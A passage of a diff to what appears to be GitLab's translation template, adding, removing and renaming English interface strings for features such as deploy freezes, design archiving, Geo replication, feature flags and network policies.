msgstr[0] ""
msgstr[1] ""
@@ -8002,7 +8321,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8236,13 +8555,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8275,15 +8603,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8365,7 +8684,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8374,6 +8696,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8386,7 +8711,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8491,9 +8819,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8508,7 +8833,7 @@ msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
msgstr[1] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8760,9 +9085,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9051,9 +9373,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9222,6 +9541,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9246,7 +9568,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9525,6 +9847,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9852,7 +10177,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9873,6 +10198,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9882,9 +10210,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9897,9 +10222,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -9909,9 +10231,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9924,9 +10243,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10358,12 +10674,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10448,6 +10770,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10457,9 +10782,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10499,6 +10821,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10724,6 +11049,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10895,30 +11223,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -10934,12 +11247,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -10967,12 +11274,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -10994,15 +11295,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11030,27 +11322,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11063,6 +11340,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11126,6 +11409,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11258,10 +11547,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11438,7 +11727,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11555,7 +11844,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11837,6 +12129,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12113,7 +12408,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12326,6 +12621,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12341,6 +12639,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12471,6 +12772,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12627,6 +12931,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12780,6 +13090,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12795,6 +13108,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12807,13 +13123,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12822,21 +13138,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12849,6 +13168,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12867,6 +13189,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12942,6 +13267,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13008,6 +13336,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13022,7 +13353,7 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13049,6 +13380,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13061,13 +13398,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13097,7 +13431,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13109,9 +13443,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13208,6 +13548,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13247,6 +13620,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13346,9 +13722,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13490,6 +13863,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13532,6 +13908,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13547,6 +13926,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13835,7 +14217,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14065,7 +14447,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14164,10 +14546,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14194,6 +14576,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14257,9 +14642,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14275,9 +14657,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14331,6 +14710,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14352,6 +14734,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14403,7 +14788,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14454,6 +14839,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14469,6 +14860,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14553,9 +14947,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14667,9 +15058,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14805,6 +15193,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14814,9 +15211,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14844,15 +15238,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14868,6 +15262,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -14931,6 +15328,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15063,6 +15481,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15165,6 +15589,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15174,9 +15604,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15210,9 +15637,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15224,9 +15657,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15254,6 +15684,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15278,6 +15711,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15356,6 +15792,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15406,12 +15845,18 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15577,6 +16022,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15622,6 +16076,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -15811,12 +16268,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15826,6 +16316,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15838,6 +16331,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15856,12 +16352,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
